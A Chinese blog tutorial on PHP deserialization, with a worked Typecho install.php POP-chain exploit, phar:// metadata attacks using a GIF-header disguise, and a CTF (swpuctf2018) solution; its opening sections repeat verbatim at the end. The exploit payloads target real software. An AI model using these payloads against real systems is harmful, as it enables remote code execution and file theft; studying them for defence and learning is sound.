深入php反序列化漏洞学习笔记(附实例)
Ebounce
撰写于 2019年 10月 24 日

反序列化的基础知识

这周本来准备更一篇typecho老旧版本的反序列化漏洞复现和分析的,但是在代码审计的时候出现了一些原理性的问题需要解决,这才发现自己并没有完全理解反序列化漏洞的实质,因此这周先更新一篇学习笔记
<!--more-->

什么是序列化

序列化其实就像json一样,实质上是一种对传输数据的压缩,json的本质是对数组的压缩,而序列化的实质则是对类属性的压缩
这是json:

$test1=array('H'=>"hello","W"=>"world");
echo json_encode($test1);


这是序列化:

class test{
    public $hello="hello";
    private $no="no_hello";
    protected $n="n_hell";
    public function set($value){
        $this->hello=$value;
    }
    public function get(){
        return $this->hello;
    }
}
$testone=new test();
$testone->set("haha");
echo $testone->get()."\n";
echo serialize($testone);

得到结果却是:

问题:如果按照先前结构下去s表示属性名称,后面一个跟着属性长度,那么为什么$no属性和$n属性的属性名称会多了几位出来;
原因在于:

  • $no属性的前面跟着一个声明private,表示该属性为私有属性,即这个属性为test类独占的,所以在序列化的时候会加上类名,同时加上一些特殊字符,表示前面那坨是类名,因此private类型属性序列化后,属性名为:%00类名%00属性名,所以这里$no的属性名是8个字符,即%00test%00no
  • 同理$n属性也被加上了一些字符,导致字符长度变长了,由于$n属性的类型是protected,因此类想要保护这个属性,就必须区分这个属性,因此在protected类型的属性序列化后,属性名为:%00*%00属性名,所以这里$n属性的长度为4,即%00*%00n
  • 唯一保持本心的就只有public类型的属性了,这个属性,其属性名是啥,序列化出来就是啥
    具体可以看看下面这幅图:

    这里我们就可以发现.序列化实际上并没有对方法进行序列化,而仅仅只是对属性进行了序列化而已,因此这里延伸出攻击的两个点:
  • 第一,进行反序列化攻击的时候,需要保证这个类在该环境下是存在的,毕竟序列化一个本就不存在的类,反序列化出来也没有什么意义
  • 第二,php反序列攻击,我们可控的参数实际上只有类的属性,且类属性的值全部可控,因此不能直接构造恶意方法进行调用,而只能使用类中本身存在的方法进行攻击

    什么是反序列化

    序列化是对类属性的压缩,那么很简单反序列化就是对类属性的还原了,不过需要注意的一点是,反序列化出来的内容直接就是一个对象,而非字符串,具体看下图:

class test{
    public $hello="hello";
    private $no="no_hello";
    protected $n="n_hell";
    public function set($value){
        $this->hello=$value;
    }
    public function get(){
        return $this->hello;
    }
}
$testone=new test();
$testone->set("haha");
echo $testone->get()."\n";
$tt=serialize($testone);
echo $tt."\n";
$utt=unserialize($tt);
echo $utt->get()."\n";


但如果我们直接对反序列化的内容进行echo操作,则会造成php报错:

魔术方法了解一下:

实际上php在类中定义了一些魔术方法,在某些特殊条件下,这些方法会自动执行,并不需要人为干预,因此这些魔术方法也常常变成了攻击点,比较常见的有下面几个方法(CTF里面大概也就见到这么多了):

  • __construct: 在创建对象时会自动调用该方法(反序列化时不会调用);
  • __wakeup: 在进行反序列化时会自动调用该方法,也就是unserizlize()时;
  • __sleep: 与上面的__wakeup对应,该方法在进行序列化时会自动调用,也就是serialize()时,不过这个方法必须返回包含属性的数组;
  • __call: 在该对象访问一个不可访问或者存在的方法时,会调用这个方法;
  • __get: 与上面的__call对应,在该对象访问一个不可访问或者存在的属性时,调用这个方法;
  • __destruct: 在该对象被销毁的时候,会自动调用该方法;
  • __toString: 在该对象被当成字符串使用时,会自动调用这个方法;
    这里直接搬运P神分享的小密圈技巧,有关__toString具体触发条件如下:
  1. echo或者print企图直接输出这个对象的时候;(其余打印同理)
  2. "XXXXX{$对象}"或者"xxxx".$对象,即进行字符串连接操作的时候
  3. sprintf("XXXXX %s",$对象)进行格式化字符的时候
  4. 进行if($对象=='xxxx')进行弱类型比较时,这也说明了弱相等确实会转换类型后再比较;
  5. 格式化sql语句时候,进行预编译sql语句,在绑定参数的时候会被调用;
  6. in_array($对象,["xxxx","xxxx"]),数组中有字符串会被调用时,这个也可以看作是弱类型的比较,因此如果第三个参数位true,也就不会调用了(没有类型转换);
  7. 在使用字符串相关的函数中有参数是对象时,比如strcmp(),strlen();

    魔术方法调用的具体实例:

class test{
    public $hello="hello";
    private $no="no_hello";
    protected $n="n_hell";
    public function __construct(){
        echo "我好了,你们呢?\n";
    }
    public function __wakeup()
    {
        echo "我胡汉三由于反序列化又回来啦!\n";
    }
    public function __destruct()
    {
        echo "再见,我没了!\n";
    }

    public function __toString(){
        return "我真的不是字符串啊!\n";
    }
}
echo "我要创建对象了\n";
$t=new test();
echo "我要进行序列化了\n";
$ut=serialize($t);
echo "我要进行反序列化了\n";
$tt=unserialize($ut);
echo "我要被当成字符串了\n";
echo $t;
$c=strcmp($t,"我真的不是字符串啊!");

最后输出如下图:

我们可以从中发现:
1.进行序列化时,不会调用__construct,也不会注销该序列化的对象;
2.当对象被当成字符串时,实际上是会销毁该对象的,也就是调用__toString之后会调用__deconstruct;
3.由于序列化之后不会注销原对象,反序列化之后的对象是一个全新的对象,所以在最后原序列化的对象由于调用__toString被销毁了,但仍然出现了一次被销毁的记录(实际上销毁的是原对象,因为程序已经运行完成,这个反序列化出来的新对象就销毁了);

利用方法(最后一点理论):

流程

  1. 通过寻找unserialize()函数,查找我们可以控制的类属性;
  2. 深入可控类的内部结构,查看其类的内部调用极其相关操作,从中思考有无可利用的魔术方法;
  3. 查找含有可利用魔术方法的类,研究内部该魔术方法对属性的相关操作或者方法的调用是否涉及敏感操作,或者是否可利用;
  4. 层层递进查看可控类与可利用魔术方法类,在该调用过程之中是否能够成功触发魔术方法;
  5. 复制下可控属性,构造序列化进行攻击;
    以上可以总结为一句话--构造POP链,从现有的运行环境中寻找一系列代码和调用,构造一条连续的调用链,达到攻击的目的;

    typecho反序列漏洞(实例一):

    漏洞点查找过程

    既然是反序列化漏洞,那么自然的我们需要找到反序列化的点在哪儿了,通过搜索unserialize()函数,发现了在install.php中发现存在下述代码:

    这里直接反序列化了Typecho_Cookie::get('__typecho_config')所得到的值,只不过这个需要进行一次base64的解码而已,怀疑此处存在漏洞点,于是全局搜索Typecho_Cookie类,看看get方法究竟是怎么写的,然后发现这里的get方法,动态的将前缀和我们传入的值拼接组合成$key,然后直接调用判断是否传入了$_COOKIE[$key]或者$_POST[$key],如果存在则直接返回这个值,不难发现光从这一步来看,实际上这个$_COOKIE[$key]或者$_POST[$key]是可控的,并且没有进行过滤,就直接将这个值传给了install.php中创建了$config,判断此处可能存在序列化漏洞,就看看下面$config如何传递的了:

    我们发现在前面一部的可控参数,其中的值被传递给了另一个类,于是从这个类中查看,看有无敏感操作能够利用的,这里原语句是创建了一个新的Typecho_Db类型的对象,根据上面的基本知识我们知道.php在创建对象时会自动调用__construct方法,因此我们主要查看该构造方法,全局搜索Typecho_Db类,构造方法如下:

    注意图中所示的参数$adapterName我们可以发现这个参数的形成是由字符串和我们传入的$adapterName,而传入的$adapterName源自可控参数$config,如果我们传入的$adapterName为一个类的化,由于这里的操作时字符串拼接,因此可以顺利利用$adapterName所代表类的__toString魔术方法,由于需要找到一个合适的含__toString魔术方法的类,因此这里进行全局搜索,找到了三个类:
    分别查看这些类的__toString方法能否利用了

    Config.php

    config类中的__toString方法不能用,因为这里进行了一次序列化,这就中断了反序列化的POP链,没法再次调用了,因此这个类不能够利用.

    Quert.php

    quert.php中的__toString方法同样不能使用,这里我们通过方法体看出,我们可控的属性也只有$_sqlPreBuild,而这个值在执行数据库操作时进行了字符串的拼接,如果这个$_sqlPreBuild也是类的话,又会触发__toString魔术方法,POP链又回到了调用__toString魔术方法的这一步,等同于无用功,因此这个类也被排除掉.

    Feed.php

    这个时候就到了最后一个类了,这个类是可以利用的,我截取了下面关键的代码部分,这个方法太长了↓↓↓

    我们截取了最关键的部分,由于我们可以控制该类,因此该类的属性可控,注意到上图勾出的语句,这里写的是$item['author']->screenName,如果我们$item['author']->screenName传入的是一个类的话,并且该类的$screenName不存在,那么就会调用该类的__get()魔术方法(不记得了复习一下上面的基础),这个时候我们再找找存在__get()方法的类:

    经过查看我们发现Request类可以完成POP链的闭合部分,该类的__get方法如下:

    进一步追踪其调用的get()方法:

    我们发现这里会永远进行一个switch判断,判断是否存在$_params[$key],如果存在就将这个值取出赋值给$value,若不存在则给$value赋予一个默认值,然后就会将$value的值传递给_applyFilter方法,我再次追踪这个方法,代码如下:

    这里出现了一个"臭名昭著"的函数call_user_func()array_map()这两个函数功能差不多,都是创建回调函数,而当我们能控制Request类时,$filter$value均可空,也就能够实现执行系统命令等其他操作了.这里解释一下为什么$value可控,因为我们调用Request的语句为$item['author']->screenName,因此这里实际上调用__get()魔术方法的语句为__get("screenName"),而我们通过控制类的$_params,是可以控制get()方法中的$value,因此$value值可控;了解了这个漏洞成因之后就是编写POC的工作了

    PS:反序列化的条件

    前面过程太流畅了忘了说了,在第一步反序列化处,我们可以注意到渲染的是<?php else: ?>,也就是说进入反序列化的这一步是有条件的,因此我们倒回去看看运行到这里的条件是什么,代码如下:

    我们注意到如果我们没有传入finish参数php程序会直接结束,并且还会校验referer头,不存在也会直接退出,因此传入payload时需要加上这两个参数.

    POC的编写

    进行POC编写之前,我们再将思路理清楚一点,我将过程总结为下面的流程图:

st=>start: 控制反序列化类Typecho_Cookie::get("__typecho_config")从而控制$config
e=>end: 代码执行
op1=>operation: $config值传入了Typecho_Db类用于建立对象
op2=>operation: 调用Typecho_Db的__construct方法,将$config['adapterName']值用于字符拼接
c1=>condition: $config['adapterName']是否为类
s1=>subroutine: 构造Feed类,控制$item属性
op3=>operation: 调用__toString()方法
c2=>condition: $item['author']是否为类 && 该类是否不含有screenName属性
s2=>subroutine: 构造Requset类,控制$filter属性和$_params属性
op4=>operation: 调用__get()方法
op5=>operation: 调用get()方法,通过$_params值生成$value
op6=>operation: $filter和$value值传入_applyFilter()方法
op7=>operation: 调用call_user_func或者array_map方法执行代码

st->op1->op2->s1->c1(yes)->op3->s2->c2(yes)->op4
op4->op5->op6->op7

payload代码如下:

<?php
class Typecho_Feed{
    const RSS2='RSS 2.0';
    private $_type; //调用__toString首先会判断RSS2是否等于$_type
    private $_item=array();
    function __construct()
    {
        $this->_type=self::RSS2; //达成进入_toString方法的条件
        $item["author"]=new Typecho_Request(); //这里就是$item['author']->screenName的地方
        $this->_items[0]=$item; //$item在原函数体中是$_item进行迭代之后的结果
    }
}
class Typecho_Request{
    private $_params=array();
    private $_filter=array();

    function __construct()
    {
        $this->_filter[0]="phpinfo"; //执行的函数名
        $this->_params['screenName']=array(1);
        /*这里是字符还是数组都可以,主要看想
         * 调用call_user_func函数还是array_map()差别不大
         */
    }
}

$test=new Typecho_Feed();
$payload=array(
    "adapter"=>$test,
    "prefix"=>'typecho_' //Typecho_DB($config['adapter'],$config['prefix'])这里就是在构造这两个参数
);
$final=urlencode(base64_encode(serialize($payload)));//根据原反序列化顺序反推回去,记得一定要url编码
echo $final;//打印出payload传递给install.php

然后就是利用了,可是并没有出现回显,这是怎么回事?

经过查阅得知,typecho自定义了报错函数的,而这个函数之前启用了ob_start(),即将输出放在了缓冲区,而当捕获到异常之后就会调用这个类的异常处理方法,将缓冲区的输出清空(@ob_end_clean()),从而导致注入的phpinfo()没有回显,如下图:


不清楚的话手册给出了例程:

在这种情况下是不会有输出,因此我们需要绕过这一步,使其有回显,由于这个函数只是会捕捉异常,而php中的异常是分了很多类别的,如下图:

大致可以理解成,当Php发生致命异常时,php脚本就会停止运行,因此为了不让php执行至ob_end_clean(),我们需要在这之后引发一个致命错误,终止脚本清空缓冲区的输出,让内容回显出来,我们在__toString的地方向后看,邻接的一步如下图:

在我们触发__get魔术方法的下面,还用了一次$item['category'],我们可以利用这条语句来触发一个致命异常,注意当php类中没有定义__toString方法,而这个类却被当作字符串使用时,这个异常就是致命异常,因此修改payload如下:

<?php
class Typecho_Feed{
    const RSS2='RSS 2.0';
    private $_type; //调用__toString首先会判断RSS2是否等于$_type
    private $_items=array();
    function __construct()
    {
        $this->_type=self::RSS2; //达成进入_toString方法的条件
        $this->_items[0]=array(
            'author'=> new Typecho_Request(),
            'category'=>array(new Typecho_Request()),
        ); //$_item['author']用于触发__get方法,$_item['category']用于触发致命异常,终止脚本运行;
    }
}
class Typecho_Request{
    private $_params=array();
    private $_filter=array();

    function __construct()
    {
        $this->_filter[0]="phpinfo"; //执行的函数名
        $this->_params['screenName']=1;
        /*这里是字符还是数组都可以,主要看想
         * 调用call_user_func函数还是array_map()差别不大,也要注意函数的用法
         */
    }
}

$test=new Typecho_Feed();
$payload=array(
    "adapter"=>$test,
    "prefix"=>'typecho_' //Typecho_DB($config['adapter'],$config['prefix'])这里就是在构造这两个参数
);
$final=urlencode(base64_encode(serialize($payload)));//根据原反序列化顺序反推回去,记得一定要url编码
echo $final;//打印出payload传递给install.php

成功回显了,如下图:

这个漏洞的利用链构造非常巧妙,回显的姿势也是满满干货,下面再附一篇实例,扩展一下php反序列化的攻击面;

phar扩展

起源

这个攻击手法是起源于2018年的blackhat其中一个议题,讲的就是能够不通过unserilize()方法进行反序列化攻击,那么我们就来看看为什么使用phar://伪协议能够在不使用unserilize()就可以出发反序列化吧。

首先说明一下PHP官方手册是提了这件事的

phar类型的文件中的manifest部分,实际上有关phar文件的很多信息都被存放在这里,而这个部分中我们可以看见(meta-data也就是元数据流)是以序列化的形式存在的,而这个数据流在创建phar文件时,对于创建者来说这个部分是可控的,既然有序列化也就必有反序列化,那么我们从源码层面看看,源码在下面:

这是php的源码,是用于解析phar文件mate-data部分的源码,我们可以看见在第612行这里使用了反序列化的函数,也就是说在php代码没有使用反序列化函数时,我们通过解析phar文件也能够执行反序列的操作,而仅仅只是将反序列的地点变了一下而已。

有关phar文件的结构

必须的-a-stub

a stub是什么?不急我们先来看看官方手册是如何解释这个部分的,

总之我们知道stub就是简单的一串php代码即可,也就是<?php __HALT_COMPILER(); ?>

后面也说明了stub中的php标签是需要闭合的,在最后的说明中提到了,如果没有stub,则phar进行归档的时候会产错误,因此这个部分必须被添加在phar中。

PS:

这里stub头可以恶意的利用一下,php只会通过stub头识别文件是否为phar文件,和phar本身的后缀无关,因此我们可以选择"文件头"拼接"stub",来绕过很多文件上传的校验。

必须的部分-add点什么

phar文件实质上非常类似于压缩包,既然是压缩包那么我们需要压缩一点什么进去,因此需要使用phar类中自带的add系方法添加点东西到归档里面,也就是下面的几个方法,总之添加一点什么....

phar文件实例

test.php代码(生成phar文件):

<?php
class hello{
    public $string="unserlize!!!";
    public function __destruct(){
        echo $string;
    }
}
//随便造一个类,添加进meta-data里面
$test=new Phar("test.phar");
//新建一个phar类(文件),取名为phar,这里必须以phar结尾
$test->startBuffering();
//开启一个缓存流,用于写文件
$test->setStub("<?php __HALT_COMPILER(); ?>");
//将stub添加进去,避免解压归档不正确
$string=new hello();
$test->setMetadata($string);
//将hello类添加进meta-data中,一会儿反序列化的时候好观察
$test->addFromString("test.txt","hello");
//添加一些需要压缩的文件进行,这里是写个test.txt内容为hello
$test->stopBuffering();
//做完写入操作关闭缓存流

接着我们再来读取一下我们刚刚生成的phar文件,我们看到我们传过去的类确实是被序列化了,这里有心的读者可以注意到stub头是直接在文件头部的,而stub头并不在乎前面写了多少内容,这也就是为什么可以通过拼接文件头来伪造文件类型了.

接着我们读一下test.phar

<?php
include "test.php";
$file="phar://./test.phar/test.txt";
file_get_contents($file);

然后我们可以看到确实被反序列化了,这里出发了__destruct方法,因此打印除了我们之前设定好的字符。

这时候我们加个文件头看看

<?php
class hello{
    public $string="unserlize!!!";
    public function __destruct(){
        echo $this->string;
    }
}
$test=new Phar("test.phar");
$test->startBuffering();
$test->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$string=new hello();
$test->setMetadata($string);
$test->addFromString("test.txt","hello");
$test->stopBuffering();

结果linux判断这是一个gif格式的文件了

PS:由于有关文件的操作,比如file_exit,file_get_contents,file_put_contents系列的函数都支持伪协议,这让phar反序列化的攻击面非常大

实例一:swpuctf2018-simplephp

题目信息:

题目是本地复现的所以用了一些取巧的办法(取服务器地址),所以大佬们不要太在意,再说本文章也是一篇笔记................

PS:2019极客巅峰靶场2原题就是这道.....

首先进去查看网站功能发现了查看文件的地方一个非常明显的文件任意读取:

这个时候我们把文件全都读出来,比如function.phpclass.php这两个稍微敏感一点的php文件(PS:f1ag字样是被过滤掉的无法直接通过此处读取)

function.php源码:

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

这里定义好了上传文件的方法以及能够通过校验的白名单,这里只能上传图片。接着再读class.php,源码如下:

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

这里总共三个类,接着再看上传文件的地方,这里只是调用了一个上传文件的函数(html代码省略掉了只留下php)

而给了我们三个类很显然是要使用反序列化进行读取的,然而网站功能的源码并没有地方使用了反序列化函数,因此这里不是常规的反序列化漏洞。

解法

还记得我们前面说的不使用unserilize()函数达到反序列化的目的,这题还给了我们一个上传文件的功能,同时我们已经说了phar://伪协议只是读取stub的内容来判断是不是phar文件,而和文件后缀无关,因此这里很显然需要构建一个恶意phar文件,然后进行读取,从而绕过直接读取的校验得到flag。

先来构造POP链,根据源码(这里我删去了所有用不到,拿来混淆视听的方法以及构造方法,这样看起来POP构造思路更加清晰):

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    
}
class Test
{
    public $file;
    public $params;
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

先看第一个类C1e4r类(类中能直接触发的只有析构方法和__wakeup),这个类很简单构造方法无视即可,主要是析构方法(__destruct),这里使用了echo,也就是进行了字符串的操作,首先将属性str赋值给了属性test,然后echo $this->test,如果我们这里的test是一个类的话,那么能够触发该类的__toString方法,这里只有第二个Show类含有__toString魔术方法,__toString方法进行一个赋值的操作,而Show类中是没有content属性,所以这是会调用__set魔术方法,创建$content并赋值为$this->str['str']->source这里试图访问str数组中的str键对应的内容,假若str['str']是一个类的话,且该类没有source属性的话,则会访问该类的__get魔术方法,那么就来到最后一个类Test类了,这个类里面恰好有__get方法,随后调用get()函数,给$value赋值为params[$key],最后将value传给了file_get()方法进行读取flag文件的操作,下面是思路的图示:

st=>start: 通过上传恶意Phar文件,然后读取触发反序列化
e=>end: 读取flag
op1=>operation: 控制C1e4r的str属性使其为Show类
op2=>operation: 利用echo触发__toString
op3=>operation: 控制Show类中的str['str']使其为Test类
op4=>operation: 利用str['str']访问source属性触发__get
op5=>operation: 控制Test类的paramsp['source']赋值给value
op6=>operation: 调用file_get()方法

st->op1->op2->op3->op4->op5->op6->e

最终的Payload为:

<?php
class C1e4r
{
    public $test;
    public $str;
/*    public function __construct($name)
    {
        $this->str = $name;
    }*/
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source="index.php";
    public $str;
    /*public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    } */
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
$E_test=new Test();
$E_test->params['source']="/var/www/html/f1ag.php";
$E_show=new Show();
$E_show->str['str']=$E_test;
$E_clear=new C1e4r();
$E_clear->str=$E_show;
$str_payload=serialize($E_clear);
echo $str_payload;
/*
 * O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";\
 * O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";
 * O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:
 * {s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}
*/
$payload=unserialize($str_payload);
$final=new Phar("test.phar");
$final->startBuffering();
$final->addFromString("tmp.php","test");
$final->setStub("<?php __HALT_COMPILER(); ?>");
$final->setMetadata($payload);
$final->stopBuffering();
rename("test.phar","payload.jpg");
echo "\n";
echo md5("payload.jpg".$服务器IP).".jpg";

然后将生成的payload.jpg上传,再利用$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 文件名是自己知道的,服务器的ip也是知道的(虽然我是在源码里面加了echo $filename=md5(那坨),所以在payload最后你可以看到直接就写了文件名和ip地址)

最后那一步生成的文件名为:54e33682d9ffda2b4abc492399031a83.jpg

然后利用file读取文件处,传入phar伪协议去读取我们的payload.jpg,

最后base64解码就可以得到flag了

flag(本地所以flag是自己写的)为ebounce{g0od1_you_leaRned_ph4r1}

参考文章:

一篇文章带你深入理解漏洞之 PHP 反序列化漏洞

利用phar拓展反序列化漏洞

深入php反序列化漏洞学习笔记(附实例)

反序列化的基础知识

这周本来准备更一篇typecho老旧版本的反序列化漏洞复现和分析的,但是在代码审计的时候出现了一些原理性的问题需要解决,这才发现自己并没有完全理解反序列化漏洞的实质,因此这周先更新一篇学习笔记
<!--more-->

什么是序列化

序列化其实就像json一样,实质上是一种对传输数据的压缩,json的本质是对数组的压缩,而序列化的实质则是对类属性的压缩
这是json:

$test1=array('H'=>"hello","W"=>"world");
echo json_encode($test1);


这是序列化:

class test{
    public $hello="hello";
    private $no="no_hello";
    protected $n="n_hell";
    public function set($value){
        $this->hello=$value;
    }
    public function get(){
        return $this->hello;
    }
}
$testone=new test();
$testone->set("haha");
echo $testone->get()."\n";
echo serialize($testone);

得到结果却是:

问题:如果按照先前结构下去s表示属性名称,后面一个跟着属性长度,那么为什么$no属性和$n属性的属性名称会多了几位出来;
原因在于:

  • $no属性的前面跟着一个声明private,表示该属性为私有属性,即这个属性为test类独占的,所以在序列化的时候会加上类名,同时加上一些特殊字符,表示前面那坨是类名,因此private类型属性序列化后,属性名为:%00类名%00属性名,所以这里$no的属性名是8个字符,即%00test%00no
  • 同理$n属性也被加上了一些字符,导致字符长度变长了,由于$n属性的类型是protected,因此类想要保护这个属性,就必须区分这个属性,因此在protected类型的属性序列化后,属性名为:%00*%00属性名,所以这里$n属性的长度为4,即%00*%00n
  • 唯一保持本心的就只有public类型的属性了,这个属性,其属性名是啥,序列化出来就是啥
    具体可以看看下面这幅图:

    这里我们就可以发现.序列化实际上并没有对方法进行序列化,而仅仅只是对属性进行了序列化而已,因此这里延伸出攻击的两个点:
  • 第一,进行反序列化攻击的时候,需要保证这个类在该环境下是存在的,毕竟序列化一个本就不存在的类,反序列化出来也没有什么意义
  • 第二,php反序列攻击,我们可控的参数实际上只有类的属性,且类属性的值全部可控,因此不能直接构造恶意方法进行调用,而只能使用类中本身存在的方法进行攻击

    什么是反序列化

    序列化是对类属性的压缩,那么很简单反序列化就是对类属性的还原了,不过需要注意的一点是,反序列化出来的内容直接就是一个对象,而非字符串,具体看下图:

class test{
    public $hello="hello";
    private $no="no_hello";
    protected $n="n_hell";
    public function set($value){
        $this->hello=$value;
    }
    public function get(){
        return $this->hello;
    }
}
$testone=new test();
$testone->set("haha");
echo $testone->get()."\n";
$tt=serialize($testone);
echo $tt."\n";
$utt=unserialize($tt);
echo $utt->get()."\n";


但如果我们直接对反序列化的内容进行echo操作,则会造成php报错:

魔术方法了解一下:

实际上php在类中定义了一些魔术方法,在某些特殊条件下,这些方法会自动执行,并不需要人为干预,因此这些魔术方法也常常变成了攻击点,比较常见的有下面几个方法(CTF里面大概也就见到这么多了):

  • __construct: 在创建对象时会自动调用该方法(反序列化时不会调用);
  • __wakeup: 在进行反序列化时会自动调用该方法,也就是unserizlize()时;
  • __sleep: 与上面的__wakeup对应,该方法在进行序列化时会自动调用,也就是serialize()时,不过这个方法必须返回包含属性的数组;
  • __call: 在该对象访问一个不可访问或者存在的方法时,会调用这个方法;
  • __get: 与上面的__call对应,在该对象访问一个不可访问或者存在的属性时,调用这个方法;
  • __destruct: 在该对象被销毁的时候,会自动调用该方法;
  • __toString: 在该对象被当成字符串使用时,会自动调用这个方法;
    这里直接搬运P神分享的小密圈技巧,有关__toString具体触发条件如下:
  1. echo或者print企图直接输出这个对象的时候;(其余打印同理)
  2. "XXXXX{$对象}"或者"xxxx".$对象,即进行字符串连接操作的时候
  3. sprintf("XXXXX %s",$对象)进行格式化字符的时候
  4. 进行if($对象=='xxxx')进行弱类型比较时,这也说明了弱相等确实会转换类型后再比较;
  5. 格式化sql语句时候,进行预编译sql语句,在绑定参数的时候会被调用;
  6. in_array($对象,["xxxx","xxxx"]),数组中有字符串会被调用时,这个也可以看作是弱类型的比较,因此如果第三个参数位true,也就不会调用了(没有类型转换);
  7. 在使用字符串相关的函数中有参数是对象时,比如strcmp(),strlen();

    魔术方法调用的具体实例:

class test{
    public $hello="hello";
    private $no="no_hello";
    protected $n="n_hell";
    public function __construct(){
        echo "我好了,你们呢?\n";
    }
    public function __wakeup()
    {
        echo "我胡汉三由于反序列化又回来啦!\n";
    }
    public function __destruct()
    {
        echo "再见,我没了!\n";
    }

    public function __toString(){
        return "我真的不是字符串啊!\n";
    }
}
echo "我要创建对象了\n";
$t=new test();
echo "我要进行序列化了\n";
$ut=serialize($t);
echo "我要进行反序列化了\n";
$tt=unserialize($ut);
echo "我要被当成字符串了\n";
echo $t;
$c=strcmp($t,"我真的不是字符串啊!");

最后输出如下图:

我们可以从中发现:
1.进行序列化时,不会调用__construct,也不会注销该序列化的对象;
2.当对象被当成字符串时,实际上是会销毁该对象的,也就是调用__toString之后会调用__deconstruct;
3.由于序列化之后不会注销原对象,反序列化之后的对象是一个全新的对象,所以在最后原序列化的对象由于调用__toString被销毁了,但仍然出现了一次被销毁的记录(实际上销毁的是原对象,因为程序已经运行完成,这个反序列化出来的新对象就销毁了);

利用方法(最后一点理论):

流程

  1. 通过寻找unserialize()函数,查找我们可以控制的类属性;
  2. 深入可控类的内部结构,查看其类的内部调用极其相关操作,从中思考有无可利用的魔术方法;
  3. 查找含有可利用魔术方法的类,研究内部该魔术方法对属性的相关操作或者方法的调用是否涉及敏感操作,或者是否可利用;
  4. 层层递进查看可控类与可利用魔术方法类,在该调用过程之中是否能够成功触发魔术方法;
  5. 复制下可控属性,构造序列化进行攻击;
    以上可以总结为一句话--构造POP链,从现有的运行环境中寻找一系列代码和调用,构造一条连续的调用链,达到攻击的目的;

    typecho反序列漏洞(实例一):

    漏洞点查找过程

    既然是反序列化漏洞,那么自然的我们需要找到反序列化的点在哪儿了,通过搜索unserialize()函数,发现了在install.php中发现存在下述代码:

    这里直接反序列化了Typecho_Cookie::get('__typecho_config')所得到的值,只不过这个需要进行一次base64的解码而已,怀疑此处存在漏洞点,于是全局搜索Typecho_Cookie类,看看get方法究竟是怎么写的,然后发现这里的get方法,动态的将前缀和我们传入的值拼接组合成$key,然后直接调用判断是否传入了$_COOKIE[$key]或者$_POST[$key],如果存在则直接返回这个值,不难发现光从这一步来看,实际上这个$_COOKIE[$key]或者$_POST[$key]是可控的,并且没有进行过滤,就直接将这个值传给了install.php中创建了$config,判断此处可能存在序列化漏洞,就看看下面$config如何传递的了:

